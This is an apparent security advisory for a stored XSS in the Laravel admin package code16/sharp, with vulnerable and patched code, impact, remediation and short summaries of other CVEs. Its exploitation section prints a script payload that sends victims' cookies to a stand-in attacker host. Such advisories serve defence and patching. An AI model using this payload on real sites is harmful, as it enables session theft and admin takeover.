Sep 25, 2026·5 min read·22 visits
Stored Cross-Site Scripting (XSS) in code16/sharp prior to 9.22.5 allows lower-privileged users to bypass HTML sanitization and execute arbitrary JavaScript via crafted elements containing 'data-html-content' or iframe 'srcdoc' attributes.
CVE-2026-61825 is a high-severity, stored Cross-Site Scripting (XSS) vulnerability identified in code16/sharp, a Laravel-based administrative framework. The flaw resides within the administrative backend's rich-text and markdown editor field formatter. By bypassing HTML sanitization via crafted elements containing the data-html-content attribute or iframe srcdoc execution parameters, lower-privileged users can inject and execute arbitrary JavaScript code.
The vulnerability identified as CVE-2026-61825 is a stored Cross-Site Scripting (XSS) flaw in the code16/sharp package, a content-management and administrative interface framework for Laravel. This vulnerability resides in the administrative backend's rich-text and markdown editor field formatter (SharpEditorFormField). The component processes user-provided markup and is designed to run server-side HTML sanitization before storing the content in the database.
The attack surface is accessible to authenticated users with permissions to write or modify content within the administrative interface, such as content authors, editors, or local administrators. By inputting malicious markup, these users can bypass the default server-side sanitization logic. The application then saves the un-sanitized, executable payload directly to the data store.
When a victim, such as a super-administrator or an end-user of the frontend application, views or edits the poisoned content, the browser executes the stored payload within the context of their active session. This mechanism leads to the execution of arbitrary JavaScript, bypassing the security boundaries of the administrative framework.
The root cause of the vulnerability lies in two distinct implementation flaws in the server-side markup formatter helper class FormatsSanitizedValue.php. The administrative backend relies on this class to configure and execute a server-side HtmlSanitizer instance which strips unsafe HTML tags and attributes before persistent storage.
The first flaw stems from an unconditional string check in the isEncodingNeeded() method. This method determines whether to process an input value via a raw decoding/encoding mechanism. In vulnerable versions, the method unconditionally added the literal string 'data-html-content' to its search array. If an input string contained this keyword, the formatter assumed the block was raw HTML and skipped standard sanitization for that element, preserving the nested scripts within.
The second flaw is the inclusion of the highly dangerous 'srcdoc' attribute in the global HTML sanitizer allowlist for iframe elements. The srcdoc attribute allows inline definition of complete HTML documents within an iframe. Because traditional, non-recursive sanitizers evaluate attributes individually without parsing nested HTML strings within an attribute value, the sanitizer approved the iframe element and left its malicious srcdoc payload unmodified.
A review of the implementation reveals how these two flaws integrated into the parsing pipeline of FormatsSanitizedValue.php. In the vulnerable implementation, the isEncodingNeeded method returned a boolean indicating whether raw encoding was required by testing a list of predefined needle strings against the user-supplied value.
// Vulnerable Implementation in FormatsSanitizedValue.php
private function isEncodingNeeded(SharpFormEditorField $field, string $value): bool
{
return collect([
...$field->embeds()->map(fn (SharpFormEditorEmbed $embed) => '<'.$embed->tagName())->all(),
'<x-sharp-image',
'<x-sharp-file',
'data-html-content', // Unconditional bypass trigger
])
->contains(fn (string $needle) => str_contains($value, $needle));
}The patch resolved this by making the 'data-html-content' check conditional on whether the editor toolbar explicitly enables the RAW_HTML option. If the option is absent, the needle is set to null and subsequently removed via filter(). Additionally, 'srcdoc' was removed from the sanitizer configuration.
// Patched Implementation in FormatsSanitizedValue.php
private function isEncodingNeeded(SharpFormEditorField $field, string $value): bool
{
return collect([
...$field->embeds()->map(fn (SharpFormEditorEmbed $embed) => '<'.$embed->tagName())->all(),
'<x-sharp-image',
'<x-sharp-file',
in_array(SharpFormEditorField::RAW_HTML, $field->getToolbar())
? 'data-html-content'
: null,
])
->filter() // Removes null values
->contains(fn (string $needle) => str_contains($value, $needle));
}Exploitation of CVE-2026-61825 requires an attacker to possess low-privileged credentials sufficient to submit rich-text or markdown editor fields. The attacker targets any form input parsed by SharpEditorFormField and crafts a payload utilizing one of the two bypass vectors.
To exploit the data-html-content bypass, the attacker submits a payload wrapped in a container possessing the targeted attribute. The backend detects the attribute, bypasses sanitization, and saves the malicious script tag to the database.
<div data-html-content="true">
<script>
fetch('https://attacker.com/log?cookie=' + document.cookie);
</script>
</div>Alternatively, the attacker can leverage the srcdoc bypass. Because iframe and srcdoc are both in the global allowlist, the sanitizer accepts the payload. Upon rendering, the browser instantiates the nested context and executes the script, which can interact with the parent document context to extract cookies or session storage tokens.
The security impact of CVE-2026-61825 is high, carrying a CVSS base score of 8.7. Because the vulnerability results in stored Cross-Site Scripting, the malicious payload is persistently served to any administrative user or site visitor who accesses the affected content.
An attacker successfully exploiting this vulnerability can execute arbitrary JavaScript within the victim's browser session. If an administrative user views the page, the payload can perform actions on behalf of the administrator. This includes modifying system configurations, creating new administrative accounts, or stealing administrative session tokens and cookies.
Since the scope is changed (S:C) and the confidentiality and integrity impacts are high, this vulnerability can lead to complete administrative takeover of the backend framework and potential compromise of the underlying application infrastructure.
The primary remediation path is to upgrade the code16/sharp package to version 9.22.5 or higher. This update restricts raw HTML parsing capabilities and removes the hazardous srcdoc attribute from the global allowlist.
If immediate updating is not possible, developers should conduct a security review of all subclasses of SharpForm to ensure that raw HTML editing is disabled. Avoid incorporating SharpFormEditorField::RAW_HTML in toolbar definitions unless absolutely necessary. If raw HTML support is required, implement a strict server-side sanitization middleware using a secure HTML parser.
In addition, deploying Web Application Firewall (WAF) rules to inspect and block incoming HTTP request bodies that contain data-html-content or srcdoc attribute patterns can provide virtual patching protection. Implement a strong Content Security Policy (CSP) with restricted script-src and frame-src directives to mitigate the risk of script execution and data exfiltration.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
sharp code16 | < 9.22.5 | 9.22.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v3.1 Score | 8.7 |
| EPSS Score | 0.00219 |
| Impact | High (Stored XSS / Session Hijacking / Admin Takeover) |
| Exploit Status | Proof-of-Concept (via Unit Tests) |
| KEV Status | Not Listed |
The software does not sanitize or incorrectly sanitizes user-controlled input before including it in web pages, allowing execution of malicious scripts.
CVE-2026-16454 is an object-level authorization bypass vulnerability (CWE-284, CWE-862) in Eclipse hawkBit versions 1.0.3 and prior. The flaw exists within the Direct Device Integration (DDI) REST controller (hawkbit-ddi-resource), where endpoints responsible for enumerating software module metadata and serving firmware binaries fail to verify whether the requested software module is assigned to the authenticated device. Consequently, any device with valid credentials (such as a TargetToken or GatewayToken) can enumerate software module identifiers and download arbitrary firmware artifacts across the entire tenant namespace.
CVE-2026-62284 (GHSA-5w5g-j6hw-6p8f) is a code injection and server-side request forgery vulnerability in the console-proxy component of the OSAC Operator. The RemoteConfigResolver parses Kubernetes Secrets containing kubeconfig files via clientcmd.RESTConfigFromKubeConfig without sanitizing execution-related fields. An attacker with RBAC permissions to create or modify labeled Secrets in monitored namespaces can supply a malicious exec credential plugin, resulting in arbitrary command execution within the console-proxy pod.
CVE-2026-62361 (GHSA-xgjr-7j9q-2h4r) is an authenticated SQL injection and authorization bypass vulnerability in listmonk, an open-source, self-hosted newsletter and mailing list manager written in Go. In versions prior to 6.2.0, the subscriber export endpoint (GET /api/subscribers/export) directly interpolates user-supplied SQL filter expressions into a PostgreSQL query without invoking the table allowlist validation function (validateQueryTables). Consequently, authenticated users possessing the subscribers:sql_query and subscribers:get_all permissions can bypass relational access controls, execute arbitrary subqueries against restricted tables such as users and settings, and modify database state via writable Common Table Expressions (CTEs).
CVE-2026-28385 (GHSA-3gq2-x4qg-p4g6) is a Server-Side Request Forgery (SSRF) vulnerability in Canonical LXD versions 4.12 through 6.9. An authenticated user possessing the can_create_images entitlement can force the LXD daemon to execute arbitrary outbound HTTP and HTTPS requests via the /1.0/images API endpoint. Due to the absence of egress destination validation, an attacker can probe host loopback services, RFC 1918 private network segments, and cloud Instance Metadata Services (IMDS) from the network position of the privileged LXD daemon.
Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.
CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.